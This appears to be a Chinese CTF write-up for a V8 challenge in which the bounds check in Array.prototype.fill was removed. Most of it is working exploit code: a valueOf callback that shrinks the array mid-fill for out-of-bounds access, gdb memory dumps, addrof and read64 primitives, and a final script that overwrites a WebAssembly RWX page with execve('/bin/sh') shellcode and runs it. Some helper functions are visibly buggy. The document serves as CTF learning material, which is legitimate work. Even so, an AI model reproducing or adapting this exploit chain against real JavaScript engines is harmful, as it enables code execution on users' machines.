这是个V8
FastElement的Fill方法的end和capacity校验被删了...那就是常规的溢出咯
学习一下
https://segmentfault.com/a/1190000008188648
https://bbs.pediy.com/thread-252812.htm
class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits>
找一波FastElements属性
fast之前应该要先过一个Runtime_ObjectGetOwnPropertyNamesTryFast
和TryFastArrayFill
,主要是后者
V8_WARN_UNUSED_RESULT bool TryFastArrayFill(Isolate* isolate, BuiltinArguments* args, Handle<JSReceiver> receiver,Handle<Object> value, double start_index, double end_index) { // If indices are too large, use generic path since they are stored as // properties, not in the element backing store. if (end_index > kMaxUInt32) return false; if (!receiver->IsJSObject()) return false; if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, args, 1, 1)) { return false; } Handle<JSArray> array = Handle<JSArray>::cast(receiver); // If no argument was provided, we fill the array with 'undefined'. // EnsureJSArrayWith... does not handle that case so we do it here. // TODO(szuend): Pass target elements kind to EnsureJSArrayWith... when // it gets refactored. if (args->length() == 1 && array->GetElementsKind() != PACKED_ELEMENTS) { // Use a short-lived HandleScope to avoid creating several copies of the // elements handle which would cause issues when left-trimming later-on. HandleScope scope(isolate); JSObject::TransitionElementsKind(array, PACKED_ELEMENTS); } uint32_t start, end; CHECK(DoubleToUint32IfEqualToSelf(start_index, &start)); CHECK(DoubleToUint32IfEqualToSelf(end_index, &end)); ElementsAccessor* accessor = array->GetElementsAccessor(); accessor->Fill(array, value, start, end); return true; }
审错分支了
JSObject
var a = new Array() a[0] = 0x66666666 a.fill(0x88888888,0,3)
在v8::internal::`anonymous namespace'::ElementsAccessorBase<v8::internal::`anonymous namespace'::FastPackedObjectElementsAccessor,v8::internal::`anonymous namespace'::ElementsKindTraits<(v8::internal::ElementsKind)2>>::Fill
断下,发现end已被替换为length,得想个法子把TryFast绕了
[[rsi]+8]能看到a.elements
有个想法,可以整一个回调函数,length先改大,在执行fill的时候跑个回调把length变小,这样end就溢出了
高仿一份v8的exp,学习了一下exp中回调函数的用法
https://www.exploit-db.com/raw/46748
triggerOob = () => { array = []; array.length = 0xffffffff; ptr_leak_object = {}; arbirary_access_array = new BigUint64Array(1); oob_access_array = array.fill(1.1, 0x80000000 - 1, {valueOf() { array.length = 32; array.fill(1.1); return 0x80000000; }}); ptr_leak_object[0] = MARKER; arbirary_access_array.buffer; }
可以改valueOf方法
然后整出一个PoC,这里的global用来做后面oob的持续化(之后的oob全靠global这个FastDoubleElements)
arr = [];global = [];arr.length = 65536; editend = {valueOf:function(){arr.length = 32;arr.fill(1);let arr0 = [1.1,1.1,1.1,1.1];global = arr0;return 0x2a;}}; x = arr.fill(0x66666666,0x29,editend);
获取end时调用valueOf,valueOf的callback去修改arr.length为0x20,然后start = 0x2f end = 0x30 下标溢出
调一下
gef➤ x/32gx 0x149055b04cb8 0x149055b04cb8: 0x00003f032a2c2f59 0x0000065bf4f80c01 0x149055b04cc8: 0x00000053d9d40119 0x0000002000000000 0x149055b04cd8: 0x00003f032a2c2e69 0x0000065bf4f80c01 0x149055b04ce8: 0x0000065bf4f80c01 0x0000000000000000 0x149055b04cf8: 0x00003f032a2c7739 0x0000065bf4f80c01 0x149055b04d08: 0x0000065bf4f80c01 0x0000149055b04d49 0x149055b04d18: 0x0000065bf4f80251 0x0000000000010001 0x149055b04d28: 0x0000065bf4f82389 0x0000065bf4f84809 0x149055b04d38: 0x000000c400000000 0x00003f032a2c039b 0x149055b04d48: 0x00003f032a2c0399 0x0000065bf4f80c01 0x149055b04d58: 0x0000065bf4f80c01 0x0000280b4ac9ca89 0x149055b04d68: 0x0000280b4ac80309 0x0000280b4ac9cce9 0x149055b04d78: 0x00001d58540040a1 0x0000065bf4f80591 0x149055b04d88: 0x0000065bf4f80791 0x0000000400000000 0x149055b04d98: 0x0000280b4ac9ce51 0x0000280b4ac9ce61 0x149055b04da8: 0x0000280b4ac9ce71 0x0000280b4ac9ce81 gef➤ x/32gx 0x00000053d9d40118 0x53d9d40118: 0x0000065bf4f80791 0x0000002000000000 0x53d9d40128: 0x0000000100000000 0x0000000100000000 0x53d9d40138: 0x0000000100000000 0x0000000100000000 0x53d9d40148: 0x0000000100000000 0x0000000100000000 0x53d9d40158: 0x0000000100000000 0x0000000100000000 0x53d9d40168: 0x0000000100000000 0x0000000100000000 0x53d9d40178: 0x0000000100000000 0x0000000100000000 0x53d9d40188: 0x0000000100000000 0x0000000100000000 0x53d9d40198: 0x0000000100000000 0x0000000100000000 0x53d9d401a8: 0x0000000100000000 0x0000000100000000 0x53d9d401b8: 0x0000000100000000 0x0000000100000000 0x53d9d401c8: 0x0000000100000000 0x0000000100000000 0x53d9d401d8: 0x0000000100000000 0x0000000100000000 0x53d9d401e8: 0x0000000100000000 0x0000000100000000 0x53d9d401f8: 0x0000000100000000 0x0000000100000000 0x53d9d40208: 0x0000000100000000 0x0000000100000000 gef➤ 0x53d9d40218: 0x0000000100000000 0x0000000100000000 0x53d9d40228: 0x6666666600000000 0x6666666600000000 0x53d9d40238: 0x6666666600000000 0x6666666600000000 0x53d9d40248: 0x6666666600000000 0x6666666600000000 0x53d9d40258: 0x6666666600000000 0x6666666600000000 0x53d9d40268: 0x6666666600000000 0x6666666600000000 0x53d9d40278: 0x6666666600000000 0x6666666600000000 0x53d9d40288: 0x6666666600000000 0x6666666600000000 0x53d9d40298: 0x6666666600000000 0x6666666600000000 0x53d9d402a8: 0x0000065bf4f80591 0x0000065bf4f80591 0x53d9d402b8: 0x0000065bf4f80591 0x0000065bf4f80591 0x53d9d402c8: 0x0000065bf4f80591 0x0000065bf4f80591 0x53d9d402d8: 0x0000065bf4f80591 0x0000065bf4f80591 0x53d9d402e8: 0x0000065bf4f80591 0x0000065bf4f80591 0x53d9d402f8: 0x0000065bf4f80591 0x0000065bf4f80591 0x53d9d40308: 0x0000065bf4f80591 0x0000065bf4f80591
Sakura大佬先知里发过的工具类(轮子)
String.prototype.padLeft = Number.prototype.padLeft = function(total, pad) { return (Array(total).join(pad || 0) + this).slice(-total); } // Return the hexadecimal representation of the given byte array. function hexlify(bytes) { var res = []; for (var i = 0; i < bytes.length; i++){ //print(bytes[i].toString(16)); res.push(('0' + bytes[i].toString(16)).substr(-2)); } return res.join(''); } // Return the binary data represented by the given hexdecimal string. function unhexlify(hexstr) { if (hexstr.length % 2 == 1) throw new TypeError("Invalid hex string"); var bytes = new Uint8Array(hexstr.length / 2); for (var i = 0; i < hexstr.length; i += 2) bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); return bytes; } function hexdump(data) { if (typeof data.BYTES_PER_ELEMENT !== 'undefined') data = Array.from(data); var lines = []; var chunk = data.slice(i, i+16); for (var i = 0; i < data.length; i += 16) { var parts = chunk.map(hex); if (parts.length > 8) parts.splice(8, 0, ' '); lines.push(parts.join(' ')); } return lines.join('\n'); } // Simplified version of the similarly named python module. var Struct = (function() { // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. var buffer = new ArrayBuffer(8); var byteView = new Uint8Array(buffer); var uint32View = new Uint32Array(buffer); var float64View = new Float64Array(buffer); return { pack: function(type, value) { var view = type; // See below view[0] = value; return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); }, unpack: function(type, bytes) { if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray"); var view = type; // See below byteView.set(bytes); return view[0]; }, // Available types. int8: byteView, int32: uint32View, float64: float64View }; })(); function Int64(v) { // The underlying byte array. var bytes = new Uint8Array(8); switch (typeof v) { case 'number': v = '0x' + Math.floor(v).toString(16); case 'string': if (v.startsWith('0x')) v = v.substr(2); if (v.length % 2 == 1) v = '0' + v; var bigEndian = unhexlify(v, 8); //print(bigEndian.toString()); bytes.set(Array.from(bigEndian).reverse()); break; case 'object': if (v instanceof Int64) { bytes.set(v.bytes()); } else { if (v.length != 8) throw TypeError("Array must have excactly 8 elements."); bytes.set(v); } break; case 'undefined': break; default: throw TypeError("Int64 constructor requires an argument."); } // Return a double whith the same underlying bit representation. this.asDouble = function() { // Check for NaN if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) throw new RangeError("Integer can not be represented by a double"); return Struct.unpack(Struct.float64, bytes); }; // Return a javascript value with the same underlying bit representation. // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) // due to double conversion constraints. this.asJSValue = function() { if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) throw new RangeError("Integer can not be represented by a JSValue"); // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. this.assignSub(this, 0x1000000000000); var res = Struct.unpack(Struct.float64, bytes); this.assignAdd(this, 0x1000000000000); return res; }; // Return the underlying bytes of this number as array. this.bytes = function() { return Array.from(bytes); }; // Return the byte at the given index. this.byteAt = function(i) { return bytes[i]; }; // Return the value of this number as unsigned hex string. this.toString = function() { //print("toString"); return '0x' + hexlify(Array.from(bytes).reverse()); }; // Basic arithmetic. // These functions assign the result of the computation to their 'this' object. // Decorator for Int64 instance operations. Takes care // of converting arguments to Int64 instances if required. function operation(f, nargs) { return function() { if (arguments.length != nargs) throw Error("Not enough arguments for function " + f.name); for (var i = 0; i < arguments.length; i++) if (!(arguments[i] instanceof Int64)) arguments[i] = new Int64(arguments[i]); return f.apply(this, arguments); }; } // this = -n (two's complement) this.assignNeg = operation(function neg(n) { for (var i = 0; i < 8; i++) bytes[i] = ~n.byteAt(i); return this.assignAdd(this, Int64.One); }, 1); // this = a + b this.assignAdd = operation(function add(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) + b.byteAt(i) + carry; carry = cur > 0xff | 0; bytes[i] = cur; } return this; }, 2); // this = a - b this.assignSub = operation(function sub(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) - b.byteAt(i) - carry; carry = cur < 0 | 0; bytes[i] = cur; } return this; }, 2); // this = a & b this.assignAnd = operation(function and(a, b) { for (var i = 0; i < 8; i++) { bytes[i] = a.byteAt(i) & b.byteAt(i); } return this; }, 2); } // Constructs a new Int64 instance with the same bit representation as the provided double. Int64.fromDouble = function(d) { var bytes = Struct.pack(Struct.float64, d); return new Int64(bytes); }; // Convenience functions. These allocate a new Int64 to hold the result. // Return -n (two's complement) function Neg(n) { return (new Int64()).assignNeg(n); } // Return a + b function Add(a, b) { return (new Int64()).assignAdd(a, b); } // Return a - b function Sub(a, b) { return (new Int64()).assignSub(a, b); } // Return a & b function And(a, b) { return (new Int64()).assignAnd(a, b); } function hex(a) { if (a == undefined) return "0xUNDEFINED"; var ret = a.toString(16); if (ret.substr(0,2) != "0x") return "0x"+ret; else return ret; } function lower(x) { // returns the lower 32bit of double x return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0; } function upper(x) { // returns the upper 32bit of double x return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0; } function lowerint(x) { // returns the lower 32bit of int x return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0; } function upperint(x) { // returns the upper 32bit of int x return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0; } function combine(a, b) { //a = a >>> 0; //b = b >>> 0; //print(a.toString()); //print(b.toString()); return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16); } //padLeft用于字符串左补位 function combineint(a, b) { //a = a >>> 0; //b = b >>> 0; return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16); } // based on Long.js by dcodeIO // https://github.com/dcodeIO/Long.js // License Apache 2 class _u64 { constructor(hi, lo) { this.lo_ = lo; this.hi_ = hi; } hex() { var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16) var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16) if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length); if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length); hlo = "00000000" + hlo hlo = hlo.substr(hlo.length-8, hlo.length); return "0x" + hhi + hlo; } isZero() { return this.hi_ == 0 && this.lo_ == 0; } equals(val) { return this.hi_ == val.hi_ && this.lo_ == val.lo_; } and(val) { return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_); } add(val) { var a48 = this.hi_ >>> 16; var a32 = this.hi_ & 0xFFFF; var a16 = this.lo_ >>> 16; var a00 = this.lo_ & 0xFFFF; var b48 = val.hi_ >>> 16; var b32 = val.hi_ & 0xFFFF; var b16 = val.lo_ >>> 16; var b00 = val.lo_ & 0xFFFF; var c48 = 0, c32 = 0, c16 = 0, c00 = 0; c00 += a00 + b00; c16 += c00 >>> 16; c00 &= 0xFFFF; c16 += a16 + b16; c32 += c16 >>> 16; c16 &= 0xFFFF; c32 += a32 + b32; c48 += c32 >>> 16; c32 &= 0xFFFF; c48 += a48 + b48; c48 &= 0xFFFF; return new _u64((c48 << 16) | c32, (c16 << 16) | c00); } addi(h,l) { return this.add(new _u64(h,l)); } subi(h,l) { return this.sub(new _u64(h,l)); } not() { return new _u64(~this.hi_, ~this.lo_) } neg() { return this.not().add(new _u64(0,1)); } sub(val) { return this.add(val.neg()); }; swap32(val) { return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) | ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF); } bswap() { var lo = swap32(this.lo_); var hi = swap32(this.hi_); return new _u64(lo, hi); }; } var u64 = function(hi, lo) { return new _u64(hi,lo) }; function gc(){ for (var i = 0; i < 1024 * 1024 * 16; i++){ new String(); } }
任意地址读
改下一个FastDoubleArray的elements指针,然后整一个read64原语
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; %DebugPrint(wasmCode); %DebugPrint(wasmModule); %DebugPrint(wasmInstance); %DebugPrint(f); arr = []; global = []; arr.length = 65536; iCallback = {valueOf:function(){ arr.length = 32; arr.fill(2.2); let arr0 = [1.1,1.1,1.1,1.1]; global = arr0; return 0x2a; } }; x = arr.fill(4.34584737989687770134811077604E-311,0x29,iCallback); var ab = new Array(0x20); ab.fill(0,0x20,1,1); leak = Int64.fromDouble(global[5]); pde_map = Int64.fromDouble(global[4]); gb_sto = Int64.fromDouble(global[6]); proc_heap = Int64.fromDouble(global[12]); function i2f(i) { var x = (new Int64(i)).asDouble(); } function AddrOf(obj) { global[10] = new Int64(gb_sto-0x100).asDouble(); ab[1] = obj; obj_addr = Int64.fromDouble(arr[3]); return obj_addr; } function read64(addr) { global[10] = new Int64(addr-0x10).asDouble(); return ab[0]; } var obj = {"a": 1}; var obj_array = [obj]; var float_array = [1.1]; var fake_array = [pde_map,i2f(0),i2f(0x41414141),i2f(0x1000000000),1.1,2.2]; %DebugPrint(arr); %DebugPrint(global); %DebugPrint(float_array); %DebugPrint(obj_array); %DebugPrint(ab); var f_addr = AddrOf(f); console.log(hex(f_addr)); var shared_info_addr = AddrOf(read64(Add(f_addr,0x18))); console.log(hex(shared_info_addr)); var wasm_exported_func_data_addr = AddrOf(read64(Add(shared_info_addr,0x8))); console.log(hex(wasm_exported_func_data_addr)); var wasm_instance_addr = AddrOf(read64(Add(wasm_exported_func_data_addr,0x10))); console.log(wasm_instance_addr); var rwx_page_addr = AddrOf(read64(Add(wasm_instance_addr,0x80))); console.log(rwx_page_addr); %SystemBreak(); console.log(f_addr); console.log(leak1); console.log(ab_map); console.log(gb_sto); console.log(proc_heap); console.log(arr);
EXP
修改ArrayBuffer的backing-store为rwx_page_addr,然后把Float64给set进去,篡改wasm,成了
var buf =new ArrayBuffer(16); var float64 = new Float64Array(buf); var bigUint64 = new BigUint64Array(buf); function hexlify(bytes) { var res = []; for (var i = 0; i < bytes.length; i++){ res.push(('0' + bytes[i].toString(16)).substr(-2)); } return res.join(''); } function unhexlify(hexstr) { if (hexstr.length % 2 == 1) throw new TypeError("Invalid hex string"); var bytes = new Uint8Array(hexstr.length / 2); for (var i = 0; i < hexstr.length; i += 2) bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); return bytes; } var Struct = (function() { var buffer = new ArrayBuffer(8); var byteView = new Uint8Array(buffer); var uint32View = new Uint32Array(buffer); var float64View = new Float64Array(buffer); return { pack: function(type, value) { var view = type; view[0] = value; return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); }, unpack: function(type, bytes) { if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray"); var view = type; byteView.set(bytes); return view[0]; }, int8: byteView, int32: uint32View, float64: float64View }; })(); function Int64(v) { var bytes = new Uint8Array(8); switch (typeof v) { case 'number': v = '0x' + Math.floor(v).toString(16); case 'string': if (v.startsWith('0x')) v = v.substr(2); if (v.length % 2 == 1) v = '0' + v; var bigEndian = unhexlify(v, 8); bytes.set(Array.from(bigEndian).reverse()); break; case 'object': if (v instanceof Int64) { bytes.set(v.bytes()); } else { if (v.length != 8) throw TypeError("Array must have excactly 8 elements."); bytes.set(v); } break; case 'undefined': break; default: throw TypeError("Int64 constructor requires an argument."); } this.asDouble = function() { if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) throw new RangeError("Integer can not be represented by a double"); return Struct.unpack(Struct.float64, bytes); }; this.asJSValue = function() { if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) throw new RangeError("Integer can not be represented by a JSValue"); this.assignSub(this, 0x1000000000000); var res = Struct.unpack(Struct.float64, bytes); this.assignAdd(this, 0x1000000000000); return res; }; this.bytes = function() { return Array.from(bytes); }; this.byteAt = function(i) { return bytes[i]; }; this.toString = function() { return '0x' + hexlify(Array.from(bytes).reverse()); }; function operation(f, nargs) { return function() { if (arguments.length != nargs) throw Error("Not enough arguments for function " + f.name); for (var i = 0; i < arguments.length; i++) if (!(arguments[i] instanceof Int64)) arguments[i] = new Int64(arguments[i]); return f.apply(this, arguments); }; } this.assignNeg = operation(function neg(n) { for (var i = 0; i < 8; i++) bytes[i] = ~n.byteAt(i); return this.assignAdd(this, Int64.One); }, 1); this.assignAdd = operation(function add(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) + b.byteAt(i) + carry; carry = cur > 0xff | 0; bytes[i] = cur; } return this; }, 2); this.assignSub = operation(function sub(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) - b.byteAt(i) - carry; carry = cur < 0 | 0; bytes[i] = cur; } return this; }, 2); this.assignAnd = operation(function and(a, b) { for (var i = 0; i < 8; i++) { bytes[i] = a.byteAt(i) & b.byteAt(i); } return this; }, 2); } Int64.fromDouble = function(d) { var bytes = Struct.pack(Struct.float64, d); return new Int64(bytes); }; function Add(a, b) { return (new Int64()).assignAdd(a, b); } function hex(a) { if (a == undefined) return "0xUNDEFINED"; var ret = a.toString(16); if (ret.substr(0,2) != "0x") return "0x"+ret; else return ret; } var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; arr = []; global = []; arr.length = 65536; iCallback = {valueOf:function(){ arr.length = 32; arr.fill(2.2); let arr0 = [1.1,1.1,1.1,1.1]; global = arr0; return 0x2a; } }; x = arr.fill(4.34584737989687770134811077604E-311,0x29,iCallback); var ab = new Array(0x20); ab.fill(0,0x20,1,1); var aaw = new ArrayBuffer(0x20); aaw[0] = 1.111111; leak = Int64.fromDouble(global[5]); pde_map = Int64.fromDouble(global[4]); gb_sto = Int64.fromDouble(global[6]); proc_heap = Int64.fromDouble(global[12]); function i2f(i) { var x = (new Int64(i)).asDouble(); } function AddrOf(obj) { global[10] = new Int64(gb_sto-0x100).asDouble(); ab[1] = obj; obj_addr = Int64.fromDouble(arr[3]); return obj_addr; } function read64(addr) { global[10] = new Int64(addr-0x10).asDouble(); return ab[0]; } function i2f2(i) { bigUint64[0] = i; return float64[0]; } var f_addr = AddrOf(f); console.log(hex(f_addr)); var shared_info_addr = AddrOf(read64(Add(f_addr,0x18))); console.log(hex(shared_info_addr)); var wasm_exported_func_data_addr = AddrOf(read64(Add(shared_info_addr,0x8))); console.log(hex(wasm_exported_func_data_addr)); var wasm_instance_addr = AddrOf(read64(Add(wasm_exported_func_data_addr,0x10))); console.log(wasm_instance_addr); var rwx_page_addr = AddrOf(read64(Add(wasm_instance_addr,0x80))); console.log(rwx_page_addr); var shellcode=[0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n]; var data_view = new DataView(aaw); var backing_store_addr = AddrOf(aaw)+0x20; global[0x32] = new Int64(rwx_page_addr).asDouble(); data_view.setFloat64(0, i2f2(shellcode[0]), true); data_view.setFloat64(8, i2f2(shellcode[1]), true); data_view.setFloat64(16, i2f2(shellcode[2]), true); f();
交的时候居然还要压缩成一行